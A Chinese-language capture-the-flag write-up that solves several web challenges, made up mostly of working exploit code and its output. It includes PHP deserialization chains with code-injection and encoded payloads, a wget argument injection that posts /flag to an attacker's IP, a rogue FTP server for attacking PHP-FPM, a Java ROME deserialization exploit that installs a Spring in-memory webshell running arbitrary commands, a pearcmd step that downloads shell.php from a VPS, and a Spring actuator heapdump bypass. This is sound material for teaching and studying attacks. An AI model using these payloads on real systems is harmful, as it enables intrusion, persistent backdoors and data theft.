太久没跟新了 ,就一起发了 💨
#  0x01 DAS sept#  web#  hellounser1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class  A      public  $var ;     public  function  show (         echo  $this ->var;     }     public  function  __invoke (         $this ->show();     } } class  B     public  $func ;     public  $arg ;          public  function  show (         $func  = $this ->func;         if (preg_match('/^[a-z0-9]*$/isD' , $this ->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i' , $this ->arg)) {              die ('No!No!No!' );          } else  {              include  "flag.php" ;                          $func ('' , $this ->arg);          }     }          public  function  __toString (         $this ->show();         return  "<br>" ."Nice Job!!" ."<br>" ;     }     } if (isset ($_GET ['pop' ])){    $aaa  = unserialize($_GET ['pop' ]);     $aaa (); } else {    highlight_file(__FILE__ ); } ?> 
照常先来看入口点,在反序列化后立刻函数式调用了该对象,那么可以触发的就是 __invoke() 函数。 __invoke() 函数内部调用了同类中的 show() 函数,其中将变量 $var 作为字符串打印,那么可以触发 __toString() 函数。__toString() 函数也调用了同类中的 show() 函数,包含了 flag.php 并且可以控制调用的函数名和第二个参数。1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class  A      public  $var ; } class  B     public  $func  = '\create_function' ;     public  $arg  = ';};var_dump(get_defined_vars());//' ;      } $a  = new  A();$a  -> var  = new  B();echo  urlencode(serialize($a ));
1 O%3A1%3A%22A%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A16%3A%22%5Ccreate_function%22%3Bs%3A3%3A%22arg%22%3Bs%3A34%3A%22%3B%7D%3Bvar_dump%28get_defined_vars%28%29%29%3B%2F%2F%22%3B%7D%7D 
1 array(2) { ["func"]=> string(16) "\create_function" ["FakeFlag"]=> string(33) "fl4g{TrueFlag_is_in_Tru3flag.php}" } 
1 public $arg = ';};system(ls);//'; 
1 Tru3flag.php flag.php index.php 
单词命令是可以执行的,但是 cat Tru3flag.php 肯定会存在空格,就算将其 base64 之类的也不行,用引号(这里不让)在本地也失败。所以我们只能再嵌套一层 base64_decode() 函数: 1 public $arg = ';};system(base64_decode(Y2F0IFRydTNmbGFnLnBocDsg));//'; 
注意 base64 编码不能有等号,因为等号也被过滤了,我的方法也很简单,在后面加一个空格就可以了。 不过 base64 编码后触发了 nl (笑),这里我们用 cat Tru* 再编码: 1 public $arg = ';};system(base64_decode(Y2F0IFRydSoK));//'; 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class  A      public  $var ; } class  B     public  $func  = '\create_function' ;     public  $arg ;      } $a  = new  A();$a  -> var  = new  B();$ac  = (~('php://filter/read=convert.base64-encode/resource=Tru3flag.php' ));$a  -> var  -> arg = 'return(1);}require(~(' .strval($ac ).'));//' ;echo  urlencode(serialize($a ));
#  xxc打开网页提示 一条链子 ,使用 dirmap 扫描到网站源码 www.zip,进行代码审计。 index.php 其中存在反序列化操作,这道题确定是一道序列化的题目: 1 2 3 4 5 6 7 8 9 10 11 12 <?php include ("closure/autoload.php" );function  _loader ($class     require_once  './class/'  . (str_replace('\\' , '/' , $class ) . '.php' ); } spl_autoload_register("_loader" ); error_reporting(0 ); if ($_POST ['data' ]){    unserialize(base64_decode($_POST ['data' ])); }else {     echo  "<h1>一条链子</h1>" ; } 
我们先来学习一下 _loader() 函数,这是一个自动加载函数,在 PHP5 中,当我们实例化一个未定义的类时,就会触发此函数。
spl_autoload_register('loadprint') 与 __autoload() 函数有异曲同工之妙,PHP 碰到没有定义的类就执行 loadprint() 函数。
所以我们在 index.php 中可以自由的实例化存在的类。由于是反序列化的题目,我们先来看看入口点 __destruct() 和 __wakeup() 函数是否存在:
\Control\State\StopHook.php 中发现了析构函数,调用了同类中的 _exit() 函数,其中 $process->stop(); 可能会触发 __call() 函数,而 !$process->isRunning 可能会触发 __get() 函数:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php namespace  Control \State ;class  StopHook      protected  $output ;     protected  $config  = ['auto'  => 0 ];     protected  static  $states  = ['started' , 'running' , 'finished' , 'waiting' , 'fail' ];     protected  $processes ;     public  function  __destruct (         $this ->_exit();     }     private  function  _exit (         foreach (array_reverse($this ->processes) as  $process ) {             if  (!$process ->isRunning) {                 continue ;             }             $process ->stop();         }     } } 
在 \Faker\MyGenerator.php 中找到这两个函数, __call() 函数中 echo $this->defaultCall; 一句可能会触发 __toString() 函数: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php namespace  Faker ;class  MyGenerator      protected  $defaultValue ;     public  function  __call ($method , $arg_array          echo  $this ->defaultCall;         return  $this ->defaultCall;     }     public  function  __get ($property          return  $this ->defaultValue;     } } 
在 \Method\Func\GetFile.php 找到 __toString() 函数,调用了同类中的 getFiles() 函数,发现函数的中调用了 isset() 函数,如果该类中不存在该属性,会触发 __isset() 函数: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php namespace  Method \Func ;class  GetFile      private  $flag  = true ;     private  $files  = [];     public  function  __toString (         return  $this ->getFiles();     }     public  function  getFiles (         if  (!$this ->flag) return  "denied" ;         $s  = "" ;         if  (isset ($this ->flag->{$this ->value})) {             return  "test" ;         }         foreach  ($this ->files as  $file ) {             $s  += $file ->read();         }         return  $s ;     } } 
在 Method\Func\GetDefault.php 中找到 __isset() 函数,调用了同类中的 popup() 函数,其中 return $s($length); 可能会触发 __invoke() 函数: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php namespace  Method \Func ;class  GetDefault      private  $source ;     public  function  popup ($length          $s  = $this ->source;         if  ($s ->flag != "myTest" ) {             return  "denied" ;         }         return  $s ($length );     }     public  function  __isset ($property          if  ($property  != "test" ) {             return  false ;         }         return  !$this ->popup(666 );     } } 
最后在 \Method\Func\GenerateFile.php 中找到 __invoke() 函数,且存在 call_user_func() 。没有想到在 php5 中是可以直接赋值在一个没有初始化的变量上的 2333。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php namespace  Method \Func ;class  GenerateFile      public  $flag ;     protected  $buffer ;     public  function  __invoke ($param          $this ->myGen($param );     }     public  function  myGen ($length          $s  = $this ->buffer->read;         call_user_func($this ->source->generate, $length );         return  $s ;     } } 
整个链子理清楚了,但是发现 call_user_func() 的第二个参数被写死了,因为 $this->popup(666); 调用的时候将 666 传入了 __invoke($param) ,最后也就作为 $length 变量传入了 myGen($length) 函数。
现在只能够调用类似 phpinfo() 等不需要参数的程序,并不能够 rce,该怎么办呢?
1 2 3 <?php $function  = function (eval (system('ls' )); };echo  serialize($function );
1 Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed' 
使用这个项目,可以将闭包包装成一个 Opis\Closure\SerializableClosure 对象,然后使用标准的 serialize() 进行序列化。也可以使用 Opis\Closure\serialize 函数序列化任意对象。 1 2 3 4 5 <?php require  'closure/autoload.php' ;$function  = function (eval (system('ls' )); };$a  = new  \Opis\Closure \SerializableClosure($function );echo  serialize($a );
1 2 3 4 <?php require  'closure/autoload.php' ;$function  = function (eval (system('ls' )); };echo  \Opis\Closure \serialize($function );
1 C:32:"Opis\Closure\SerializableClosure":156:{a:5:{s:3:"use";a:0:{}s:8:"function";s:33:"function(){ eval(\system('ls'));}";s:5:"scope";N;s:4:"this";N;s:4:"self";s:32:"0000000054d6224100000000237e90a4";}} 
那么我们可以将匿名函数通过 serialize() 函数经过一次序列化和反序列化,这样他就能作为 SerializableClosure 对象被序列化。或者直接将 generate 变量赋值为 SerializableClosure 类。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php namespace  Control \State  {    class  StopHook  {         protected  $processes ;         public  function  __construct (             $this  -> processes = array (new  \Faker\MyGenerator());         }     }     require  'closure/autoload.php' ;     $payload  = new  StopHook();     echo  base64_encode(serialize($payload )); } namespace  Faker  {    class  MyGenerator  {         protected  $defaultValue ;         public  function  __construct (             $this  -> defaultValue = new  \Method\Func\GetFile();         }             } } namespace  Method \Func {    class  GetFile  {         private  $flag ;         public  function  __construct (             $this  -> flag = new  \Method\Func\GetDefault();             $this  -> value = 'test' ;         }     } } namespace  Method \Func {    class  GetDefault  {         private  $source ;         public  function  __construct (             $this  -> source = new  \Method\Func\GenerateFile();             $this  -> source -> flag = 'myTest' ;         }     } } namespace  Method \Func {    class  GenerateFile  {         public  $flag ;         protected  $buffer ;         public  function  __construct (             $function  = function (eval (system('ls /' )); };             $this  -> source -> generate = new  \Opis\Closure \SerializableClosure($function );         }     } } 
将 php 文件放在 /www 文件夹下运行,得到序列化的结果(其实在 php5 中赋值一个对象在一个空变量中是会警告的 HP Warning: Creating default object from empty value in /var/www/1.php on line 51 ,在 php8 中就直接报错了): 1 TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6MTp7czoxMjoiACoAcHJvY2Vzc2VzIjthOjE6e2k6MDtPOjE3OiJGYWtlclxNeUdlbmVyYXRvciI6MTp7czoxNToiACoAZGVmYXVsdFZhbHVlIjtPOjE5OiJNZXRob2RcRnVuY1xHZXRGaWxlIjoyOntzOjI1OiIATWV0aG9kXEZ1bmNcR2V0RmlsZQBmbGFnIjtPOjIyOiJNZXRob2RcRnVuY1xHZXREZWZhdWx0IjoxOntzOjMwOiIATWV0aG9kXEZ1bmNcR2V0RGVmYXVsdABzb3VyY2UiO086MjQ6Ik1ldGhvZFxGdW5jXEdlbmVyYXRlRmlsZSI6Mzp7czo0OiJmbGFnIjtzOjY6Im15VGVzdCI7czo5OiIAKgBidWZmZXIiO047czo2OiJzb3VyY2UiO086ODoic3RkQ2xhc3MiOjE6e3M6ODoiZ2VuZXJhdGUiO0M6MzI6Ik9waXNcQ2xvc3VyZVxTZXJpYWxpemFibGVDbG9zdXJlIjoxODg6e2E6NTp7czozOiJ1c2UiO2E6MDp7fXM6ODoiZnVuY3Rpb24iO3M6MzU6ImZ1bmN0aW9uKCl7IGV2YWwoc3lzdGVtKCdscyAvJykpOyB9IjtzOjU6InNjb3BlIjtzOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwMmIzZjg4ZGMwMDAwMDAwMDE5NjUyZjhjIjt9fX19fXM6NToidmFsdWUiO3M6NDoidGVzdCI7fX19fQ== 
将作为 post 参数 data 传递,获得回显: 1 bin dev etc f1@g.txt home lib media mnt opt proc root run sbin srv sys tmp usr var 
修改 $function = function(){ eval(system('cat /fl@g.txt')); }; ,重新序列化: 1 TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6MTp7czoxMjoiACoAcHJvY2Vzc2VzIjthOjE6e2k6MDtPOjE3OiJGYWtlclxNeUdlbmVyYXRvciI6MTp7czoxNToiACoAZGVmYXVsdFZhbHVlIjtPOjE5OiJNZXRob2RcRnVuY1xHZXRGaWxlIjoyOntzOjI1OiIATWV0aG9kXEZ1bmNcR2V0RmlsZQBmbGFnIjtPOjIyOiJNZXRob2RcRnVuY1xHZXREZWZhdWx0IjoxOntzOjMwOiIATWV0aG9kXEZ1bmNcR2V0RGVmYXVsdABzb3VyY2UiO086MjQ6Ik1ldGhvZFxGdW5jXEdlbmVyYXRlRmlsZSI6Mzp7czo0OiJmbGFnIjtzOjY6Im15VGVzdCI7czo5OiIAKgBidWZmZXIiO047czo2OiJzb3VyY2UiO086ODoic3RkQ2xhc3MiOjE6e3M6ODoiZ2VuZXJhdGUiO0M6MzI6Ik9waXNcQ2xvc3VyZVxTZXJpYWxpemFibGVDbG9zdXJlIjoxOTc6e2E6NTp7czozOiJ1c2UiO2E6MDp7fXM6ODoiZnVuY3Rpb24iO3M6NDQ6ImZ1bmN0aW9uKCl7IGV2YWwoc3lzdGVtKCdjYXQgL2YxQGcudHh0JykpOyB9IjtzOjU6InNjb3BlIjtzOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwNzBkY2RiODIwMDAwMDAwMGFiNmZiZTVmIjt9fX19fXM6NToidmFsdWUiO3M6NDoidGVzdCI7fX19fQ== 
获得 flag:
#  0x02 陇原战 "疫"#  WEB#  CheckINwget 参数注入
argv=1&argv=–post-file&argv=/flag&argv=IP
#  eaaasyphp反序列化。ftp 打 fpm,流量用 gopher 生成下就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class  Esle } class  Bypass     public  $str4 ;     public  function  __construct ($str4          $this ->str4=$str4 ;     } } class  Welcome     public  $username ;     public  function  __construct ($username          $this ->username=$username ;     } } class  Bunny      public  $filename ;     public  $data ;     public  function  __construct ($filename          $this ->filename=$filename ;     } } class  Hint     public  $hint =false ; } $Hint =new  Hint();$Bunny =new  Bunny("ftp://x.x.x.x:22:8000/a" );$Welcome =new  Welcome($Bunny );$Esle =new  Esle();$Bypass =new  Bypass($Welcome ,$Hint );echo  (serialize(array ($Esle ,$Bypass )));
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import  sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  s.bind(('0.0.0.0' , 22 )) s.listen(1 ) conn, addr = s.accept() conn.send(b'220 welcome\n' ) conn.send(b'331 Please specify the password.\n' ) conn.send(b'230 Login successful.\n' ) conn.send(b'200 Switching to Binary mode.\n' ) conn.send(b'550 Could not get the file size.\n' ) conn.send(b'150 ok\n' ) conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n' )  conn.send(b'150 Permission denied.\n' ) conn.send(b'221 Goodbye.\n' ) conn.close() print("endd" ) 
#  EasyJaba1 反序列化。不能有hashmap和BadAttributeValueExpException 
有 ROME 依赖。刚好需要一个 tostring。
自己加了个 tostring
题目不出网。考虑写内存马 + 命令执行回显
ROME exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.syndication.feed.impl.ObjectBean;import  javassist.ClassPool;import  javassist.CtClass;import  javassist.CtMethod;import  org.apache.commons.io.FileUtils;import  javax.xml.transform.Templates;import  java.io.*;import  java.lang.reflect.Field;import  java.lang.reflect.Modifier;import  java.util.Base64;public  class  Exp      public  static  void  main (String[] args)  throws  Exception                  String code = "{printName();}" ;         ClassPool pool = ClassPool.getDefault();         CtClass clazz = pool.get(test.class.getName());         clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ).getName()));         clazz.makeClassInitializer().insertBefore(code);         byte [][] bytecodes = new  byte [][]{clazz.toBytecode()};         File classFilePath = new  File(new  File(System.getProperty("user.dir" ), "" ), "test.class" );         FileUtils.writeByteArrayToFile(classFilePath, clazz.toBytecode());                  TemplatesImpl templatesimpl = new  TemplatesImpl();         Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes" );         fieldByteCodes.setAccessible(true );         fieldByteCodes.set(templatesimpl, bytecodes);         Field fieldName = templatesimpl.getClass().getDeclaredField("_name" );         fieldName.setAccessible(true );         fieldName.set(templatesimpl, "test" );         Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory" );         fieldTfactory.setAccessible(true );         fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" ).newInstance());                  ObjectBean objectBean1 = new  ObjectBean(Templates.class, templatesimpl);                           ByteArrayOutputStream byteArrayOutputStream = new  ByteArrayOutputStream();         ObjectOutputStream out = new  ObjectOutputStream(byteArrayOutputStream);         out.writeObject(objectBean1);         byte [] sss = byteArrayOutputStream.toByteArray();         out.close();         String exp = Base64.getEncoder().encodeToString(sss);         System.out.println(exp);                                         } } 
内存马:test.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import  org.springframework.util.Base64Utils;import  org.springframework.web.context.WebApplicationContext;import  org.springframework.web.context.request.RequestContextHolder;import  org.springframework.web.servlet.handler.AbstractHandlerMapping;import  java.lang.reflect.Field;import  java.lang.reflect.InvocationTargetException;import  java.lang.reflect.Method;import  java.util.ArrayList;public  class  guoke      public  static  void  printName ()  throws  NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, InstantiationException          String className = "com.lyzy.ctf.ezjaba.controller.cmdController" ;         byte [] bytes = Base64Utils.decodeFromString("yv66vgAAADQAhwoAIABGCAA4CwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGIHAGYHAGcHAGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEALkxjb20vbHl6eS9jdGYvZXpqYWJhL2NvbnRyb2xsZXIvY21kQ29udHJvbGxlcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAARjb2RlAQANU3RhY2tNYXBUYWJsZQcAUwcAaQcAUgcAWQcAZwcAagcAawcAbAcAZgEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQASY21kQ29udHJvbGxlci5qYXZhDAAhACIHAGoMAG0AbgcAawwAbwBwAQAAAQAHb3MubmFtZQcAcQwAcgBuDABzAHQBAAN3aW4MAHUAdgEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACEAdwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDAB4AHkHAHoMAHsAfAwAIQB9AQACXEEMAH4AfwwAgACBDACCAHQMAIMAIgcAaQwAhACFDACGACIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAsY29tL2x5enkvY3RmL2V6amFiYS9jb250cm9sbGVyL2NtZENvbnRyb2xsZXIBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoACEAHwAgAAAAAAACAAEAIQAiAAEAIwAAAC8AAQABAAAABSq3AAGxAAAAAgAkAAAABgABAAAACAAlAAAADAABAAAABQAmACcAAAABACgAKQACACMAAAG6AAYACQAAAK8rEgK5AAMCADoEGQTGAKEsuQAEAQA6BRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPOge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAFOgUDrASsAAEADwCmAKkAHgADACQAAABGABEAAAAKAAoACwAPAA0AFwAOABsAEAArABEASgATAGYAFQB8ABYAkAAXAJUAGACcABkAoQAaAKYAHACpABsAqwAdAK0AHwAlAAAAZgAKAEcAAwAqACsABwAXAI8ALAAtAAUAGwCLAC4ALwAGAGYAQAAqACsABwB8ACoAMAAxAAgAAACvACYAJwAAAAAArwAyADMAAQAAAK8ANAA1AAIAAACvADYANwADAAoApQA4AC8ABAA5AAAAOQAH/gBKBwA6BwA7BwA6/AAbBwA8/AAlBwA9QQcAOv8AGgAFBwA+BwA/BwBABwBBBwA6AAEHAEIBAQBDAAAABAABAB4AAQBEAAAAAgBF" );                  ClassLoader classLoader = Thread.currentThread().getClass().getClassLoader();         Method method = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class);         method.setAccessible(true );         method.invoke(classLoader, className, bytes, 0 , bytes.length);         WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 );         AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping" );         Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" );         field.setAccessible(true );         ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);         adaptedInterceptors.add(classLoader.loadClass(className).newInstance());     } } 
命令执行回显的控制器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package  com.lyzy.ctf.ezjaba.controller;import  org.springframework.web.servlet.handler.HandlerInterceptorAdapter;import  javax.servlet.http.HttpServletRequest;import  javax.servlet.http.HttpServletResponse;public  class  cmdController   extends  HandlerInterceptorAdapter      public  boolean  preHandle (HttpServletRequest request, HttpServletResponse response, Object handler)  throws  Exception          String code = request.getParameter("code" );         if (code != null ){             try  {                 java.io.PrintWriter writer = response.getWriter();                 String o = "" ;                 ProcessBuilder p;                 if (System.getProperty("os.name" ).toLowerCase().contains("win" )){                     p = new  ProcessBuilder(new  String[]{"cmd.exe" , "/c" , code});                 }else {                     p = new  ProcessBuilder(new  String[]{"/bin/sh" , "-c" , code});                 }                 java.util.Scanner c = new  java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A" );                 o = c.hasNext() ? c.next(): o;                 c.close();                 writer.write(o);                 writer.flush();                 writer.close();             }catch  (Exception e){             }             return  false ;         }         return  true ;     } } 
#  0x03 湖湘杯#  web#  easywill变量覆盖 任意文件包含
1 ?name=cfile&value=/etc/passwd 
可以利用
1 pearcmd.php&+download+VPS/shell.php 
可以参考 p 神 pearcmd 妙用 
#  Pentest in Autumnjava 一把梭
利用扫描工具 发现存在 java /actuator 路径泄露,确定为 Java 的 Spring 框架,直接访问 actuator/heapdump 文件无法访问,所以需要绕过,/;/actuator/heapdump
下载 /;/actuator/heapdump 导入分析工具
编写 python 脚本 生成密钥
1 2 3 import  base64import  structprint(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb' , 89 ,-26 ,90 ,-9 ,106 ,118 ,-109 ,16 ,-98 ,73 ,38 ,62 ,88 ,127 ,-92 ,-68 )))